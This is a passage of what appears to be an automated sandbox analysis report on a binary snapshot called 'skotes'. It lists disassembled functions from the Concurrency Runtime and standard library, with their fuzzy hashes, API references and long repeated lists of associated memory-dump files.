Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 87b44803a35545d32b7ad2b750ddb4ddee29228e3ce09f3e58a8c29e63778bb8
Instruction ID: 9962a0bd718b8ba813f5ce566bf97324633cb7e746a19b226d4305d82c35cfcc
Opcode Fuzzy Hash: 87b44803a35545d32b7ad2b750ddb4ddee29228e3ce09f3e58a8c29e63778bb8
Instruction Fuzzy Hash: A8518235A00209DBCF24DF50C895BBDB7B5EF44710F1540A9EA167B7A2CB71AE09CB91

Function 00BECB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 00BECBAA

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: b1cc3523dd74d6cc85ea70e98b7dbd9718ab420fda802b77ec233bc0284c940d
Instruction ID: e977824080bcd94c7d2026374e8ef56dc785a930b0aabde961a2d83c3c40fbb6
Opcode Fuzzy Hash: b1cc3523dd74d6cc85ea70e98b7dbd9718ab420fda802b77ec233bc0284c940d
Instruction Fuzzy Hash: F9B09232B2393487CA612B24BC0979D7B649A80A1130A1197E801A76248B101D834BD4

Function 00BEDD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ae6579bd42ffed57fb20760df4e0c4a461f39c0b1af76e2b65e6aa3fa740bb6
Instruction ID: d95ef1eae2d0ae3e1e22f78509889eeabc97b3f10a548e36e1d07a894d96e1b5
Opcode Fuzzy Hash: 6ae6579bd42ffed57fb20760df4e0c4a461f39c0b1af76e2b65e6aa3fa740bb6
Instruction Fuzzy Hash: 5C518BB2E11706CBDB19CF5AD8857AEB7F1FB58304F2485AAD405EB250D3B4AD40CB90

Function 00BEF028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BEF2BB

Strings

pEvents, xrefs: 00BEF2B3

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: dafa3d2a81e8b86107815673c78b23da6fdd49912217269c7a4f0471877b9cf8
Instruction ID: 04752bbad65cab52ee15d8557680687d61c740e4d34cd2b3c8a335419605b0a8
Opcode Fuzzy Hash: dafa3d2a81e8b86107815673c78b23da6fdd49912217269c7a4f0471877b9cf8
Instruction Fuzzy Hash: 05817A31E0029ACBCF24DFAAC981BBEB7F4EF54310F1440A9E511B7282DB34AA45CB51

Function 00C026D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00C026E3

Part of subcall function 00C024E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00C02504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00C02704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00C02711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00C0275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00C027E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00C027F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00C02846

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 7ecd60b2afb5c02ea06c12a9dbd5dbcaeed199d81c6c0f9b265dc6bb66357ed2
Instruction ID: 2e798bb5f0763293b5393368b03a288dd23d1c0b3afa4f1c03aece7ba3f843bf
Opcode Fuzzy Hash: 7ecd60b2afb5c02ea06c12a9dbd5dbcaeed199d81c6c0f9b265dc6bb66357ed2
Instruction Fuzzy Hash: F881C135900249AFDF16DF94C999BBEBBB5AF45308F044098ED512B2D2C7328E19EB61

Function 00C02970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00C02982

Part of subcall function 00C024E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00C02504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00C029A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00C029B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00C029FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00C02AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00C02AD8

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
